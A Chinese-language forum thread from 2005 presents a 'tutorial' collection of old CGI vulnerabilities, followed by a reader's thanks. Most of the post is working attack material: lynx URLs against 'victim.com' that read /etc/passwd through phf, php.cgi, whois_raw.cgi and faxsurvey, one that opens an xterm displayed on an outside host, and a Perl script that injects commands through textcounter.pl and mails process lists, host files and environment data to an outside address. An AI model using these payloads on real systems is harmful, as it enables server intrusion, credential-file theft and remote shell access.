|
#1
| |||
| |||
| [教學] CGI漏洞集(一)
在更新後的版中首當其衝的試發一次,順便想了解一下版主對此類的反應… 如果尺度過了頭請告訴我,下次會留意的。 請放心,這算是很久的文章因而無法有太大的教學成分,所以目的只在於集中對安全概念的焦點罷了…請大家就以安全技術的角度去看吧。 一.phf漏洞 這個phf漏洞好像是最經典了,幾乎所有的文章都會介紹,可以執行伺服器的命令,如顯示 /etc/passwd: lynx http://www.victim.com/cgi-bin/phf?Qa...%20/etc/passwd 但是我們還能找到它嗎? 二.php.cgi 2.0beta10或更早版本的漏洞 可以讀nobody權限的所有文件. lynx http://www.victim.com/cgi-bin/php.cgi?/etc/passwd php.cgi 2.1版本的只能讀shtml文件了. 對于密碼文件,同志們要注意一下,也許可能在 /etc/master.passwd /etc/security/passwd等. 三.whois_raw.cgi lynx http://www.victim.com/cgi-bin/whois_...%20/etc/passwd lynx http://www.victim.com/cgi-bin/whois_...X11R6/bin/xter m%20-display%20graziella.lame.org:0 四.faxsurvey lynx http://www.victim.com/cgi-bin/faxsur...%20/etc/passwd 五.textcounter.pl 如果伺服器上有textcounter.pl,所有人可以以http守護進程的權限執行命令. #!/usr/bin/perl $URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this $EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this if ($ARGV[0]) { $CMD=$ARGV[0];}else{ $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothe re_one"; }$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\ n"; system({"wget"} "wget", $text, "-O/dev/null"); system({"wget"} "wget", $text, "-O/dev/null"); #system({"lynx"} "lynx", $text); #如果沒有wget命令也可以用lynx #system({"lynx"} "lynx", $text); 此文章於 2005-11-07 10:23 PM 被 Kain 編輯. |
|
#2
| |||
| |||
| 太棒囉 最歡這種交漏洞的 謝謝大大的分享
__________________ 考上中山若是天命, 上榜之路不由分說。 |